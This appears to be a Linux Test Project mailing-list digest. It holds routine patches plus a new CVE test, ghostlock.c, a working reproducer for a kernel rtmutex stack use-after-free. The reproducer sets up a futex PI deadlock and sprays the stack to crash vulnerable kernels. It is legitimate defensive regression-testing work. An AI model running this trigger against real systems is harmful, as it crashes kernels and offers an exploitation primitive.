Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug  3 13:58:21 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon,  3 Aug 2026 13:58:21 +0200
Subject: [LTP] [PATCH v2 1/1] MAINTAINERS: Add IRC and patchwork for LTP
Message-ID: <20260803115821.238704-1-pvorel@suse.cz>

LTP project recently switched to patchwork.kernel.org,
document it. Add also IRC channel.

Link: https://github.com/linux-test-project/ltp/commit/3590f66120d1c875bef5d573c66c4c0d340c1612
Link: https://lore.kernel.org/ltp/20260731054548.133241-1-pvorel@suse.cz/
Suggested-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
Changes v1->v2:
* Add IRC

Link to v1:
https://lore.kernel.org/lkml/20260803111553.229452-1-pvorel@suse.cz/

 MAINTAINERS | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/MAINTAINERS b/MAINTAINERS
index fe67f7bfa44c..72c24bb6ea82 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -15520,7 +15520,9 @@ M:	Yang Xu <xuyang2018.jy@fujitsu.com>
 M:	Xiao Yang <yangx.jy@fujitsu.com>
 L:	ltp@lists.linux.it (subscribers-only)
 S:	Maintained
+C:	irc://irc.libera.chat/ltp
 W:	https://linux-test-project.readthedocs.io/
+Q:	https://patchwork.kernel.org/project/ltp/list/
 T:	git https://github.com/linux-test-project/ltp.git
 
 LTR390 AMBIENT/UV LIGHT SENSOR DRIVER
-- 
2.55.0


From andrea.cervesato@suse.de  Mon Aug  3 14:26:49 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 14:26:49 +0200
Subject: [LTP] [PATCH v3 1/2] lapi/prctl: add more fallback definitions
In-Reply-To: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>
References: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>
Message-ID: <20260803-cve-ghostlock-v3-1-cde83fa429b7@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 25 +++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8f5f5f94bd797ff2ba4275c29c20cb6c..052b83e048f43b132c59ba393e439a32e2f251d2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32ef5e2ee7742cc418b4ec40bee8cd661..278401bb733a823e03b144007d0530335b3f70f7 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,6 +7,7 @@
 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
 
 #ifndef PR_SET_NAME
@@ -59,4 +60,28 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+#ifndef PR_SET_MM_MAP_SIZE
+# define PR_SET_MM_MAP_SIZE	15
+#endif
+
+#if !(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP)
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


From andrea.cervesato@suse.de  Mon Aug  3 14:26:48 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 14:26:48 +0200
Subject: [LTP] [PATCH v3 0/2] Reproducer for ghostlock
Message-ID: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v3:
- improve sync mechanism
- fix lapi imports
- Link to v2: https://lore.kernel.org/20260803-cve-ghostlock-v2-0-b60588853140@suse.com

Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com

---
Andrea Cervesato (2):
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac              |   2 +
 include/lapi/prctl.h      |  25 +++++
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 247 ++++++++++++++++++++++++++++++++++++++++++++++
 6 files changed, 277 insertions(+), 1 deletion(-)
---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Mon Aug  3 14:26:50 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 03 Aug 2026 14:26:50 +0200
Subject: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
In-Reply-To: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>
References: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>
Message-ID: <20260803-cve-ghostlock-v3-2-cde83fa429b7@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 247 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 250 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..3035dff9797260402660208f0e5028803a72d297 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-43499 ghostlock
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..914592f30e4e3e883b6ed270ad47c6910798974e 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+ghostlock
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..22ca4b727ddc240edcc9409ce82904039fc70111 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 0000000000000000000000000000000000000000..b14f6e76ed2860d59dc369d15a9465d8a13ee9ab
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,247 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)` (PR_SET_MM_MAP)
+ *   with non-canonical addresses while main thread calls :manpage:`sched_setattr(2)`
+ *   on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_OWNER_BLOCKED 2
+#define CP_SPRAYED 3
+#define CP_SETATTR_DONE 4
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
+		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
+	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+	while (!tst_atomic_load(&stop_spray)) {
+		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+		      sizeof(mm_map), 0);
+	}
+
+	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	static const int try_sizes[] = {
+		MAX_AUXV_WORDS,
+		MAX_AUXV_WORDS - 4,
+		MAX_AUXV_WORDS - 8
+	};
+	struct prctl_mm_map map = {
+		.exe_fd = (uint32_t)-1,
+		.auxv = (void *)auxv,
+	};
+	unsigned int i, sz = 0;
+
+	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
+
+	for (i = 0; i < MAX_AUXV_WORDS; i++)
+		auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+	map.start_code = map.start_data = map.end_data =
+	map.start_brk = map.brk = map.start_stack = map.arg_start =
+	map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&sz;
+	map.end_code = map.start_code + 0x1000;
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (int i = 0; i < ATTEMPTS; i++) {
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+		tst_atomic_store(0, &stop_spray);
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+
+		TST_CHECKPOINT_WAKE(CP_OWNER_BLOCKED);
+
+		TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT(CP_SPRAYED);
+
+		TEST(sched_setattr(waiter_tid, &attr, 0));
+		if (TST_RET == -1)
+			tst_brk(TBROK | TTERRNO, "sched_setattr() failed");
+
+		tst_atomic_store(1, &stop_spray);
+		TST_CHECKPOINT_WAKE(CP_SETATTR_DONE);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


From pvorel@suse.cz  Mon Aug  3 14:27:28 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 14:27:28 +0200
Subject: [LTP] [RFC PATCH] network: Remove outdated DNS stress tests
In-Reply-To: <20260731200322.161590-1-avinesh.kumar@suse.com>
References: <20260731200322.161590-1-avinesh.kumar@suse.com>
Message-ID: <20260803122728.GA242002@pevik>

Hi Avinesh,

> These tests start a local named server and run $NS_TIMES
> (default: 10) dig queries from the remote host, forward and reverse.
> The check is that the first and last query return NOERROR with one
> answer record, and that no dig call in between exited non-zero.
> They are also broken: dns-stress02-rmt.sh passes 'dig -n' for ipv6,
> an option removed from bind long ago. dig prints "dig: -n removed",
> sends no query and exits 0.
> Remove these old broken tests based on legacy shell API.

Thanks, I always wanted to delete them.

Reviewed-by: Petr Vorel <pvorel@suse.cz>

> Follow-up: 99c0b167d ("network: Remove outdated TCP stress tests")

...
> +++ b/runtest/net_stress.appl
> @@ -1,13 +1,10 @@

> -# Stress test for major application protocol (ssh, dns, http, ftp)
> +# Stress test for major application protocol (ssh, http, ftp)


>  ssh4-stress ssh-stress.sh
>  ssh6-stress ssh-stress.sh -6

FYI removal of SSH stress tests ...

> -dns4-stress dns-stress.sh
> -dns6-stress dns-stress.sh -6
> -
>  http4-stress http-stress.sh
>  http6-stress http-stress.sh -6

... and HTTP stress tests is blocked by

https://github.com/linux-test-project/ltp/issues/1207

Kind regards,
Petr

From andrea.cervesato@suse.com  Mon Aug  3 14:32:06 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 12:32:06 +0000
Subject: [LTP] [RFC PATCH] network: Remove outdated DNS stress tests
In-Reply-To: <20260803122728.GA242002@pevik>
Message-ID: <6a708a47.47e43f48.11c1c7.fefe@mx.google.com>

Burn them with fire!

Acked-by: Andrea Cervesato <andrea.cervesato@suse.com>

Thanks,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug  3 15:06:45 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 15:06:45 +0200
Subject: [LTP] [RFC] Re: lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <6a6c98c6.3c943127.1c122.1c09@mx.google.com>
References: <20260731124232.GB196217@pevik>
 <6a6c98c6.3c943127.1c122.1c09@mx.google.com>
Message-ID: <20260803130645.GA246496@pevik>

Hi all,

> > In that case we want to have both in a single commit, right?
> > => yet another version.

> Yes, I think so

I'm not sure what's reasonable, therefore RFC please.

We can for sure can have test with both flags, .min_kver < .max_kver:

.min_kver = "6.5"
.max_kver = "7.2"

which will be tested on kernels <6.5, 7.2> (including all their stable
versions). Here the code works like (using AND):

$(uname -r) >= .min_kver && $(uname -r) <= .max_kver

(BTW although current version prints only the version which is not sufficient.
And I think it's better than print the range without specifying which version is
not sufficient).

But can we have also a variant when .min_kver > .max_kver (using OR)?

.max_kver = "6.10"
.min_kver = "7.2"

i.e it will be tested on <whatever_minimum_LTP is, 6.10> <7.2, future versions>:

$(uname -r) <= .max_kver || $(uname -r) >= .min_kver

Advantages:
* only 2 flags
* no need to parse complicated expressions (e.g. "< 6.9, > 7.1" or "le 6.10, ge 7.2")

Disadvantages
* a bit unintuitive
* complicated expressions will not work

WDYT?

Kind regards,
Petr

From chrubis@suse.cz  Mon Aug  3 15:07:21 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 15:07:21 +0200
Subject: [LTP] [PATCH v3] metadata: add linter for JSON file
In-Reply-To: <20260625-metadata_linter-v3-1-a1bd491eb506@suse.com>
References: <20260625-metadata_linter-v3-1-a1bd491eb506@suse.com>
Message-ID: <anCSiSrmcM1BTfmd@yuki.lan>

Hi!
>  include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/metadata/lint.py b/metadata/lint.py
> new file mode 100755
> index 0000000000000000000000000000000000000000..d32cd27bd0af951aac873756a4cb123c3d29ed31
> --- /dev/null
> +++ b/metadata/lint.py
> @@ -0,0 +1,319 @@
> +#!/usr/bin/env python3
> +# SPDX-License-Identifier: GPL-2.0-or-later
> +# Copyright (c) 2026 Linux Test Project
> +"""
> +Lint semantic consistency of generated metadata/ltp.json.
> +
> +This is not a schema validator; metaparse tests cover JSON shape. The linter
> +checks metadata rules that depend on the final generated test catalog:
> +
> +  * Groups derived from the source path (the two nearest parent directories,
> +    skipping 'kernel' and 'cve') must be present in test 'groups'. No other
> +    groups are allowed unless they are listed in MANUAL_GROUPS.
> +
> +  * A CVE tag requires the 'cve' group and a linux-git tag requires the
> +    'regression' group.
> +
> +  * Only known tag IDs are accepted and every tag must have exactly one value.
> +
> +  * CVE tag values must use a valid bare 20YY-NNNN[...] identifier. With
> +    --check-cve-exists, every CVE is verified against the official CVE
> +    Services API (https://cveawg.mitre.org).
> +
> +The input can be a full ltp.json file or a single test entry from metaparse,
> +which is accepted on stdin with '-'.
> +"""
> +
> +import argparse
> +import json
> +import os
> +import re
> +import sys
> +from typing import (
> +    Any,
> +    Dict,
> +    List,
> +    Pattern,
> +    Tuple,
> +)
> +
> +CVE_RE: Pattern[str] = re.compile(r"^20[0-9]{2}-[0-9]{4,}$")
> +CVE_API: str = "https://cveawg.mitre.org/api/cve/CVE-"
> +SKIP_PATH_GROUPS: Tuple[str, ...] = ("kernel", "cve")
> +VALID_TAGS: Tuple[str, ...] = ("CVE", "linux-git", "glibc-git", "musl-git")
> +MANUAL_GROUPS: Tuple[str, ...] = (
> +    # insert here the groups which need to be supported
> +)
> +
> +
> +def path_groups(fname: str) -> List[str]:
> +    """
> +    Return groups derived from the two nearest parent directories.
> +    """
> +    prefix = "testcases/"
> +    if not fname.startswith(prefix):
> +        return []
> +
> +    dirs = fname[len(prefix) :].split("/")[:-1]
> +    return [grp for grp in reversed(dirs[-2:]) if grp not in SKIP_PATH_GROUPS]
> +
> +
> +def tag_values(tags: List[List[str]], name: str) -> List[str]:
> +    """
> +    Return all values for metadata tags matching name.
> +    """
> +    return [
> +        tag[1]
> +        for tag in tags
> +        if isinstance(tag, list)
> +        and len(tag) == 2
> +        and tag[0] == name
> +        and isinstance(tag[1], str)
> +    ]
> +
> +
> +def has_tag(tags: List[List[str]], name: str) -> bool:
> +    """
> +    Return whether a metadata tag exists.
> +    """
> +    return any(
> +        isinstance(tag, list) and len(tag) == 2 and tag[0] == name for tag in tags
> +    )
> +
> +
> +def expected_groups(conf: Dict[str, Any]) -> List[str]:
> +    """
> +    Return groups expected from test path and tags.
> +    """
> +    groups: List[str] = []
> +    fname: str = conf.get("fname", "")
> +    tags: List[List[str]] = conf.get("tags", [])
> +
> +    for group in path_groups(fname):
> +        if group not in groups:
> +            groups.append(group)
> +
> +    if has_tag(tags, "CVE") and "cve" not in groups:
> +        groups.append("cve")
> +
> +    if has_tag(tags, "linux-git") and "regression" not in groups:
> +        groups.append("regression")
> +
> +    return groups
> +
> +
> +def lint_groups(name: str, conf: Dict[str, Any]) -> List[str]:
> +    """
> +    Return group lint errors for a single test.
> +    """
> +    errors: List[str] = []
> +    groups: List[str] = conf.get("groups", [])
> +    expected: List[str] = expected_groups(conf)
> +    allowed: List[str] = expected + list(MANUAL_GROUPS)
> +    missing: List[str] = [group for group in expected if group not in groups]
> +    invalid: List[str] = [group for group in groups if group not in allowed]
> +
> +    if missing:
> +        errors.append(f"{name}: missing groups: {', '.join(missing)}")
> +
> +    if invalid:
> +        errors.append(f"{name}: invalid groups: {', '.join(invalid)}")
> +
> +    return errors
> +
> +
> +def lint_tags(name: str, conf: Dict[str, Any]) -> List[str]:
> +    """
> +    Return generic tag lint errors for a single test.
> +    """
> +    errors: List[str] = []
> +    tags: List[List[str]] = conf.get("tags", [])
> +
> +    for idx, tag in enumerate(tags):
> +        if not isinstance(tag, list):
> +            errors.append(f"{name}: tag #{idx} must be an array")
> +            continue
> +
> +        if len(tag) != 2:
> +            errors.append(f"{name}: tag #{idx} must have exactly 2 items")
> +
> +        if not tag:
> +            continue
> +
> +        tag_id = tag[0]
> +        if not isinstance(tag_id, str):
> +            errors.append(f"{name}: tag #{idx} ID must be a string")
> +        elif tag_id not in VALID_TAGS:
> +            errors.append(f"{name}: unknown tag ID '{tag_id}'")
> +
> +        if len(tag) >= 2 and not isinstance(tag[1], str):
> +            errors.append(f"{name}: tag #{idx} value must be a string")
> +
> +    return errors
> +
> +
> +def lint_cve_format(name: str, conf: Dict[str, Any]) -> List[str]:
> +    """
> +    Return CVE format lint errors for a single test.
> +    """
> +    errors: List[str] = []
> +    tags: List[List[str]] = conf.get("tags", [])
> +
> +    for cve in tag_values(tags, "CVE"):
> +        if cve.upper().startswith("CVE-"):
> +            errors.append(
> +                f"{name}: CVE tag '{cve}' must not start with 'CVE-' prefix, "
> +                "use the bare '20YY-NNNN' identifier"
> +            )
> +        elif not CVE_RE.match(cve):
> +            errors.append(f"{name}: malformed CVE identifier '{cve}'")
> +
> +    return errors
> +
> +
> +def cve_exists(cve: str, cache: Dict[str, bool]) -> bool:
> +    """
> +    Query the CVE Services API and cache the answer per identifier.
> +    """
> +    import urllib.error
> +    import urllib.request
> +
> +    if cve in cache:
> +        return cache[cve]
> +
> +    req = urllib.request.Request(CVE_API + cve, method="GET")
> +    try:
> +        with urllib.request.urlopen(req, timeout=30) as resp:
> +            ok = resp.status == 200
> +    except urllib.error.HTTPError as err:
> +        if err.code == 404:
> +            ok = False
> +        else:
> +            raise
> +    except urllib.error.URLError as err:
> +        raise RuntimeError(f"cannot reach CVE API: {err}") from err
> +
> +    cache[cve] = ok
> +    return ok
> +
> +
> +def lint_cve_existence(
> +    name: str,
> +    conf: Dict[str, Any],
> +    cache: Dict[str, bool],
> +) -> List[str]:
> +    """
> +    Return CVE existence lint errors for a single test.
> +    """
> +    errors: List[str] = []
> +    tags: List[List[str]] = conf.get("tags", [])
> +
> +    for cve in tag_values(tags, "CVE"):
> +        if CVE_RE.match(cve) and not cve_exists(cve, cache):
> +            errors.append(f"{name}: CVE '{cve}' does not exist")
> +
> +    return errors
> +
> +
> +def lint_tests(tests: Dict[str, Dict[str, Any]], check_cve_exists: bool) -> List[str]:
> +    """
> +    Return all lint errors for generated test metadata.
> +    """
> +    errors: List[str] = []
> +    cache: Dict[str, bool] = {}
> +
> +    for name, conf in sorted(tests.items()):
> +        errors += lint_tags(name, conf)
> +        errors += lint_groups(name, conf)
> +        errors += lint_cve_format(name, conf)
> +        if check_cve_exists:
> +            errors += lint_cve_existence(name, conf, cache)
> +
> +    return errors
> +
> +
> +def parse_stdin(data: str) -> Dict[str, Any]:
> +    """
> +    Parse full metadata or a single metaparse entry from stdin.
> +    """
> +    try:
> +        return json.loads(data)
> +    except json.JSONDecodeError as err:
> +        try:
> +            return json.loads("{\n" + data + "\n}")
> +        except json.JSONDecodeError:
> +            raise err
> +
> +
> +def extract_tests(metadata: Dict[str, Any]) -> Dict[str, Dict[str, Any]]:
> +    """
> +    Return the tests dictionary from full metadata or single-test input.
> +    """
> +    tests = metadata.get("tests")
> +
> +    if isinstance(tests, dict):
> +        return tests
> +
> +    return metadata
> +
> +
> +def main() -> int:
> +    parser = argparse.ArgumentParser(
> +        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
> +    )
> +    default = os.path.join(os.path.dirname(__file__), "ltp.json")
> +    parser.add_argument(
> +        "metadata",
> +        nargs="?",
> +        help=f"path to ltp.json, or '-' to read stdin (default: {default})",
> +    )
> +    parser.add_argument(
> +        "--check-cve-online",
> +        action="store_true",
> +        help="verify CVE existence against the online CVE database",
> +    )
> +    args = parser.parse_args()
> +
> +    source = args.metadata or default
> +
> +    try:
> +        if args.metadata == "-":
> +            metadata: Dict[str, Any] = parse_stdin(sys.stdin.read())
> +        elif args.metadata is None and not sys.stdin.isatty():
> +            stdin_data = sys.stdin.read()
> +            if stdin_data.strip():
> +                source = "stdin"
> +                metadata = parse_stdin(stdin_data)
> +            else:
> +                with open(default, encoding="utf-8") as data:
> +                    metadata = json.load(data)
> +        else:
